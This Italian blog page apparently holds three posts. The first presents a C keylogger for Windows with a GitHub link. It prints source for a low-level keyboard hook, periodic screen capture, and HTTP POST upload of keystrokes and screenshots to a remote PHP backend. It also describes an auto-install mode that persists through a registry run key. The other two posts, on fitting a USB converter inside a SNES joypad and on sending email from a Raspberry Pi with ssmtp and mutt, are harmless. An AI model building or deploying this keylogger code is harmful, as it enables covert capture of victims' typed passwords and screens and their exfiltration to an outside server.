Keylogger in C per Windows XP/7/8/10

Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).

Ecco il link al repository su github:

https://github.com/gianlucag/Keylogger

E’ lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.

1487631997_image

Ecco le caratteristiche principali del keylogger:

  • cattura tastiera ed eventi mouse
  • screenshot ad intervalli regolari
  • invio tasti e screenshot a backend PHP remoto
  • modalità auto installer o modo normale

Gli eventi mouse sono opzionali, l’intervallo di cattura dello snapshot è configurabile cosi’ come l’URL remoto di invio dei dati.

Funzionamento generale

Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l’intercettazione a basso livello degli eventi tastiera generati dall’utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger “svuota” il buffer e invia i dati ad un URL specifico, anch’esso configurabile. L’invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).

Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.

Funzionamento nel dettaglio

Analizziamo meglio il codice sorgente:

Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.

int main(int argn, char* argv[])
{
	mutex = CreateMutex(NULL, FALSE, NULL);

	buffer = (char*)malloc(BUFFERLEN);
	buffer[0] = 0;

	HANDLE logger;
	logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);

	unsigned int timer = 0;
	int len;

	while(1)
	{
		if(timer % SNAPSHOT_SEC == 0)
		{
			SendScreenshot();
		}

		if(timer % 10 == 0)
		{
			// lock
			WaitForSingleObject(mutex, INFINITE);

			len = strlen(buffer);

			// unlock
			ReleaseMutex(mutex);

			int res = CurlSend(buffer, len, "text=");
			if(res)
			{
				// lock
				WaitForSingleObject(mutex, INFINITE);

				// reset buffer
				strcpy(buffer, buffer + len);

				// unlock
				ReleaseMutex(mutex);
			}
		}
		timer++;
		Sleep(1000); // 1 sec sleep
	}
	return 0;
}

Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l’utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l’evento WM_KEYDOWN ossia l’evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri

LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode == WM_KEYDOWN)
	{
		KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
		SaveKey(keyboard->vkCode);
	}

	return DefWindowProc(hwnd, nCode, wParam, lParam);
}

DWORD WINAPI KeyLogger()
{
	HINSTANCE hExe = GetModuleHandle(NULL);
	//hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
	MSG msg;

	while (GetMessage(&msg, NULL, 0, 0) != 0)
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}

Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l’altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.

Creazione snapshot ed invio remoto

La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente  i dati png

BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
	BOOL Success=FALSE;
	HDC SurfDC=NULL;
	HBITMAP OffscrBmp=NULL;
	HDC OffscrDC=NULL;
	LPBITMAPINFO lpbi=NULL;
	LPVOID lpvBits=NULL;
	HANDLE BmpFile=INVALID_HANDLE_VALUE;
	BITMAPFILEHEADER bmfh;

	if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
		return FALSE;

	if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
		return FALSE;

	HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
	BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
	lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

	ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
	lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

	SelectObject(OffscrDC, OldBmp);
	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
		return FALSE;

	lpvBits = malloc(lpbi->bmiHeader.biSizeImage);

	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
		return FALSE;

	int h = height;
	int w = width;
	unsigned scanlineBytes = w * 4;
	if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;

	char *png = malloc(w * h * 4);
	int x,y;

	for(y = 0; y < h; y++)
		for(x = 0; x < w; x++)
		{
			unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
			unsigned newpos = 4 * y * w + 4 * x;

			png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
			png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
			png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
			png[newpos + 3] = 255;            //A
		}

	free(lpvBits);
	lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
	free(png);

	return TRUE;
}

Modalità auto installer

La modalità auto installer copia l’eseguibile all’interno della cartella di installazione di Windows e crea una chiave di registro per l’avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager

 

 

 

Trasformare un joypad SNES in un controller USB per PC

Modifichiamo un joypad orginale del Super Nintendo e colleghiamolo via USB al PC o al Raspberry Pi. In un precedente articolo del 2008 (!) mostravo come collegare il controller SNES alla porta parallela, ormai superata. In questo post mostrerò invece come adattarlo alla porta USB ed utilizzarlo con gli emulatori più famosi (NES, SNES, Sega MegaDrive, Sega Master System, Atari etc..).

Questo è il joypad in questione:

SONY DSC

Sto parlando ovviamente del controller originale, quello in dotazione con la console stessa. Joypad di pregevole fattura, assolutamente indistruttibile e che funziona ancora al 100% dopo 20 anni! Il connettore è ahimè proprietario, ne DB9 ne ovviamente USB (lo standard USB sarebbe stato introdotto solo anni più tardi):
snes_connectorAnche il protocollo e i segnali sono proprietari e per “trasformarli” in USB occorre un apposito circuito convertitore. Questo circuito è sufficientemente piccolo da poter essere installato all’interno del controller stesso.

Circuito convertitore

Il convertitore può essere acquistato su RetroUSB. Si tratta di un microcontroller PIC miniaturizzato (formato TSOP) che converte i segnali generati dal controller in segnali USB

Screen Shot 2017-02-19 at 16.58.05

Il kit, chiamato NES/SNES RetroKit, trasforma quindi il controller in un joypad USB a tutti gli effetti. La compatibilità è garantita, il joypad risulterà al PC come un normale controller HID a 12 pulsanti e non sarà necessario installare alcun driver, ne su PC ne su Raspberry Pi (RetroPie).

Ecco come si presenta il convertitore:

retrousb_cable

pic_closeup

Installazione

L’installazione è abbastanza semplice. Apriamo il controller svitando le 5 viti posteriori:

joypad_aperto

A questo punto tagliamo via il cavo originale, spelliamo i 5 fili e bagniamo con stagno le estremità:

fili_tagliati

Per un un lavoro più pulito si potrebbe dissaldare il ricettacolo bianco e quindi “salvare” l’intero cavo originale, a voi la scelta! I 5 fili (marrone, bianco, giallo, rosso e arancio) vanno collegati sulle piazzole del convertitore, seguendo lo schema che il sito mette a disposizione:

sneskit

Lo schema non è chiarissimo, ma in sostanza si tratta di saldare i fili marrone e bianco rispettivamente sulle piazzole 2 e 3 del lato anteriore del convertitore, e di saldare i fili arancio, giallo e rosso rispettivamente alle piazzole 2,3 e 4 presenti nel lato opposto. Il risultato è mostrato qui sotto:

pic_collegato

A questo punto non ci resta che incollare il convertitore al PCB del joypad in modo tale che resti ben fermo e le saldature non si  indeboliscano:

pic_incollato

Basta ora richiudere il joypad assicurandosi che il convertitore non blocchi la chiusura in alcun modo, dovrebbe tranquillamente stare in posizione senza problemi:

joypad_usb_finale

Utilizzo

Il joypad è pronto per essere utilizzato! Non servono driver o altri software particolari perchè il convertitore interfaccia il controller come una periferica HID (Human Interface Device); tali periferiche sono previste dallo standard USB stesso e non richiedono driver per funzionare. Questo joypad USB è particolarmente adatto su RaspberryPi e RetroPie, tutti gli emulatori lo supportano correttamente

joypad_in_azione_dkc

Ovviamente non tutti gli emulatori supportano 12 tasti (l’Atari 2600 soltanto 1 bottone e 4 direzioni) ma nessun problema, i tasti superflui verranno esclusi e non avranno effetto.

Invio automatico di email con Raspberry Pi

pi2modb1gb_-comp

 

Il bello del Raspberry Pi è che può essere programmato per svolgere determinate attività ed essere lasciato acceso a fare il suo lavoro senza monitor e tastiera collegati, anche in posti remoti e non immediatamente raggiungibili. L’ideale sarebbe quindi poter tenere sotto controllo il Raspberry Pi in qualche modo: una idea interessante è quella di inviare email automaticamente ad una casella di posta prestabilita. Le email possono essere generate al verificarsi di eventi particolari oppure in maniera periodica per la trasmissione di log di sistema o altri file importanti che vogliamo tenere d’occhio.

Ad esempio, un sensore di temperatura collegato ai GPIO di sistema fa scattare l’invio di una email nel caso la temperatura salga oltre un certo limite impostato. Altro esempio: notificare al destinatario l’indirizzo IP del raspberry, con cadenza regolare oppure in maniera più efficiente solo nel caso in cui cambi (molti provider assegnano un indirizzo IP dinamico che cambia continuamente). Altro esempio ancora l’invio periodico dei dati prelevati da una stazione meteo.

Utilizziamo i pacchetti ssmtp e mutt rispettivamente per l’invio delle email e di eventuali allegati

Useremo i server smtp di gmail, quindi occorrerà avere un account gmail dedicato (ad esempio una email del tipo raspberrypi@gmail.com)

Per prima cosa aggiorniamo il repository locale:


apt-get update

Installiamo poi smmtp e mailutils


apt-get install ssmtp
apt-get install mailutils

A questo punto apriamo il file di configurazione di ssmtp


nano /etc/ssmtp/ssmtp.conf

cancelliamo tutto ed inseriamo i nostri dati di login gmail, in questo caso email “email@gmail.com” e password “123456”. Il resto rimane inviariato:

root=postmaster
mailhub=smtp.gmail.com:587
hostname=raspberrypi
AuthUser=email@gmail.com
AuthPass=123456
UseSTARTTLS=YES

A questo punto editiamo il file revaliases

nano /etc/ssmtp/revaliases

ed inseriamo questa riga

root:root@raspberrypi:smtp.gmail.com:587

fatto ciò salviamo e settiamo i giusti permessi per il file di configurazione

chmod 774 /etc/ssmtp/ssmtp.conf

Invio di una email

L’invio della email è semplicissimo. Dalla console digitiamo:

echo "testo della email" | mail -s "oggetto"&nbsp;destinatario@dest.com

e dopo qualche istante l’email sarà inviata. Ovviamente il comando può essere impartito da uno script apposito o da una regola cron.

Se vogliamo aggiungere un file in allegato (log, immagini o quant’altro) utilizzamo questo altro comando:

echo "testo della email" | mutt -a /file/da/allegare.dat -s "oggetto" -- destinatario@dest.com

Nel caso dovesse verificarsi un errore è possibile che gmail stia bloccando il client ssmtp perchè considerato non sicuro (vecchia versione affetta dal bug heartbleed ad esempio). In questo caso occorre prima andare nelle impostazione della casella gmail e abilitare l’accesso alle app meno sicure, come spiegato qui

screen-shot-2016-12-15-at-00-32-40